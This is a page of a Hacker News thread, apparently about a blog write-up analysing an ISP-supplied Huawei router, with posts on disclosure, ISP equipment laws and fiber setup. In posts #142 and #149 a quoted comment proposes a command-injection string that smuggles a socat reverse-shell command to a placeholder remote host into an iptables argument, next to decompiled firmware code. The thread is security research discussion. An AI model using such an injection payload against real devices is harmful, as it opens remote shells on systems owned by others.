Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

A detailed look at the router provided by my ISP

0x90.psaux.io

Post reply on HN
Print view View original

141–150 of 184 posts

Re: A detailed look at the router provided by my ISP

#141

Post by jeroenhd »

ProZsolt wrote: post #101
praptak wrote: post #28

Earlier quoted context omitted.

The right thing to do in such circumstances is to publish the vulnerability.

But how do you publish it without the liability of getting sued? A person like me who don't work in security still occasionally find some vulnerability. Sometimes you get angry emails from the company even if you just try to warn them.

If you think they'd sue, you can always send the details to a tech journalist specialized in such matters (someone with a proven track record of protecting their sources). Use an anonymous email service to be sure.

If something goes wrong, they'll take the thread of legal action and probably win. Companies know that suing journalists often leads to more bad press than cooperating. They can even try to contact the company in question for you if the vulnerability is bad enough.

If the company doesn't respond or get their shit together, journalists will get a scoop and the company is forced to fix their shit. If the company does fix their shit, the journalist will still get a story out of it and you can rest easy that you've helped make the internet just a little bit safer for everyone.

Re: A detailed look at the router provided by my ISP

#142

Post by paddlesteamer »

mercora wrote: post #10

it looks like this CLI has some hardcoded shell commands with variable substitutions that look possibly unprotected against command injection. For example iptables %s > %s 2>&1 could probably be executed as iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane > /var/IptablesInfo 2>&1 by issuing iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane and therefo…

Hello, OP here, I've actually spent considerable amount time to find a code execution. I know you'll want to learn details of FUN_004122c0 but here is the decompiled version of iptables part from ghidra:

undefined4 FUN_004045a0(int param_1,int param_2)

{ int iVar1; int iVar2; char pcVar3; char cVar4; code pcVar5; undefined auStack544 [256]; undefined auStack288 [260];

  FUN_00412530(auStack544,0,0x100);
  FUN_00412530(auStack288,0,0x100);
  if (param_1 == 0) {
    FUN_004122c0(auStack288,0x100,"iptables > %s 2>&1","/var/IptablesInfo");
  }
  else {
    iVar1 = FUN_00412210(0x100);
    if (iVar1 == 0) {
      return 0x40010009;
    }
    cVar4 = '\0';
    while ((iVar2 = *param_2, iVar2 != 0 && (cVar4 != '\x10'))) {
      if (cVar4 == '\0') {
        FUN_004122c0(iVar1,0x100,0x412c84,iVar2);
      }
      else {
        FUN_004122c0(iVar1,0x100,"%s %s",iVar1,iVar2);
      }
      cVar4 = cVar4 + '\x01';
      param_2 = param_2 + 1;
    }
    FUN_004122c0(auStack288,0x100,"iptables %s > %s 2>&1",iVar1,"/var/IptablesInfo");
    FUN_00412660(iVar1);
  }
  FUN_00412330(auStack288);
  iVar1 = FUN_004123c0("/var/IptablesInfo",0x414f68);
  if (iVar1 == 0) {
    pcVar5 = FUN_004126e0;
    pcVar3 = "Fail\r";
  }
  else {
    while (iVar2 = FUN_00412470(auStack544,0x100,iVar1), iVar2 != 0) {
      FUN_004126b0(0x412c84,auStack544);
      FUN_004121a0(0xd);
    }
    FUN_00412520(DAT_0042b010);
    FUN_004123a0(iVar1);
    pcVar5 = FUN_00412500;
    pcVar3 = "/var/IptablesInfo";
  }
  (*pcVar5)(pcVar3);
  return 0;
}

Any ideas?

Re: A detailed look at the router provided by my ISP

#143

Post by avip »

LeonM wrote: post #30

In the Netherlands we now have a law where ISPs must allow your own choice of network equipment. This means they must give you the required information on how to connect your own device with their network. I have a fiber connection, which I connected directly to a Ubiquity router through a suitable SFP module. My ISP supplied the information on the fiber type and which VLAN ID's to setup for internet, TV and telephon…

This law is a tech-support nightmare.

You can call your ISP with any arbitrary piece of non-branded random AliExpress $#@$ of a network eq. and they must walk you through configuring it? That does not make much sense to me.

Re: A detailed look at the router provided by my ISP

#144

Post by ksec »

philg_jr wrote: post #98
thinkloop wrote: post #59

Earlier quoted context omitted.

How can you do without the modem? Which ubiquity product is that?

Typically, FTTH doesn't require a "modem". In my case, I have VZ Fios in the northeast US. Their termination point at my house has an RJ45 Ethernet connection. It goes directly to my pfSense router.

So they actually have an ONT somewhere and provides you with a RJ45 Ethernet port only?

This is brilliant! Why aren't more ISP doing it? I dont want another ONT / Modem / piece of equipment in my flat.

Re: A detailed look at the router provided by my ISP

#145

Post by paddlesteamer »

jscholes wrote: post #54

Enjoyed this write-up, but most of the exploration seemed to be facilitated by someone having already leaked the CLI root password online. Anyone have suggestions on how you might otherwise obtain that information?

Hi, OP here, actually it's not true. Think the scenario as this: you don't have the CLI root password, you just do a MitM attack and learn about root password when your ISP attempts to change it. This applies my situation, also I could learn about the default password just by looking into the firmware.

Re: A detailed look at the router provided by my ISP

#146

Post by Eremotherium »

Someone1234 wrote: post #69
jason0597 wrote: post #27

It's funny to think that if you were to report all of your findings to your local newspaper (Turkish newspaper in this case), as to how Turkish ISPs have complete access to your router or how Huawei (China) has an SSH key for your router, people would go absolutely ballistic. But for us it's just another day of expected craziness and we're tired of talking about it

> how Turkish ISPs have complete access to your router You think it is going to blow people's socks off that a router provided and controlled by an ISP is accessible by that same ISP? Huh? The Huawei SSH key is a little strange, but depressingly common for network equipment, even big names like Cisco[0]. [0] https://tools.cisco.com/security/center/content/CiscoSecurit...

>even big names like Cisco

Even? By now Cisco having hardcoded credentials and glaring security fuckups is a meme.

Re: A detailed look at the router provided by my ISP

#147

Post by 0xff00ffee »

Tourus wrote: post #131
0xff00ffee wrote: post #126

Earlier quoted context omitted.

I'm pretty sure my new CenturyLInk fiber router is similar. I tried to create a PPoE connection from my WRT1900 direclty to century link using the same credentials and I couldn't connect to my internet. However, now I am motivated to create a bridge and find out why. For CenturyLink fiber I have two boxes: Box A: the exterior fiber enters this box, the tech said it was a "translator"; and the port 4 ethernet on it go…

> PPoE with my credentials which were somehow hardwired because no one ever told me my username/password They make it very hard to use your own "Box B", but I've set this up twice now (most recently last week). Get the username and password from CenturyLink (the tech that installs the service has this, or call them). Then, google search "century link vlan 201 wan tag". The trick is you need a router that has this fun…

Ah I see. My WRT1900AC doesn't have that option. I was running OpenWRT but ran into some issues and panicked back to the default firmware. Now that I have another wireless router I might dare it again.

Re: A detailed look at the router provided by my ISP

#148

Post by 0xff00ffee »

JackRabbitSlim wrote: post #133
0xff00ffee wrote: post #126

Earlier quoted context omitted.

I'm pretty sure my new CenturyLInk fiber router is similar. I tried to create a PPoE connection from my WRT1900 direclty to century link using the same credentials and I couldn't connect to my internet. However, now I am motivated to create a bridge and find out why. For CenturyLink fiber I have two boxes: Box A: the exterior fiber enters this box, the tech said it was a "translator"; and the port 4 ethernet on it go…

I had CL fiber. VLAN tagging; The vlan tagging value was so high, OpenWRT didn't support it so I was left with the useless middle box. Your mileage may very.

I was just about to re-install OpenWRT, but I guess I won't now.

Re: A detailed look at the router provided by my ISP

#149

Post by mercora »

paddlesteamer wrote: post #142
mercora wrote: post #10

it looks like this CLI has some hardcoded shell commands with variable substitutions that look possibly unprotected against command injection. For example iptables %s > %s 2>&1 could probably be executed as iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane > /var/IptablesInfo 2>&1 by issuing iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane and therefo…

Hello, OP here, I've actually spent considerable amount time to find a code execution. I know you'll want to learn details of FUN_004122c0 but here is the decompiled version of iptables part from ghidra: undefined4 FUN_004045a0(int param_1,int param_2) { int iVar1; int iVar2; char pcVar3; char cVar4; code pcVar5; undefined auStack544 [256]; undefined auStack288 [260]; FUN_00412530(auStack544,0,0x100); FUN_00412530(au…

i guess you already tried issuing commands like i mentioned?!

i am still confused by this code but to me it looks like this has been originally written in another language but maybe this is just what it looks like after de-compiling. seeing this function would likely be more interesting.

Re: A detailed look at the router provided by my ISP

#150

Post by robotnikman »

jedimastert wrote: post #121
LeonM wrote: post #30

In the Netherlands we now have a law where ISPs must allow your own choice of network equipment. This means they must give you the required information on how to connect your own device with their network. I have a fiber connection, which I connected directly to a Ubiquity router through a suitable SFP module. My ISP supplied the information on the fiber type and which VLAN ID's to setup for internet, TV and telephon…

I don't know if it's "law" in America but I've never seen a major ISP give any more guff than sometimes making a technician come out to read the modem's MAC address. I've never had a ISP's router or modem on my networks

Same. From my experience you can use a modem of your choice, you just need to provide your MAC address to your ISP and its good to go.
Post reply on HN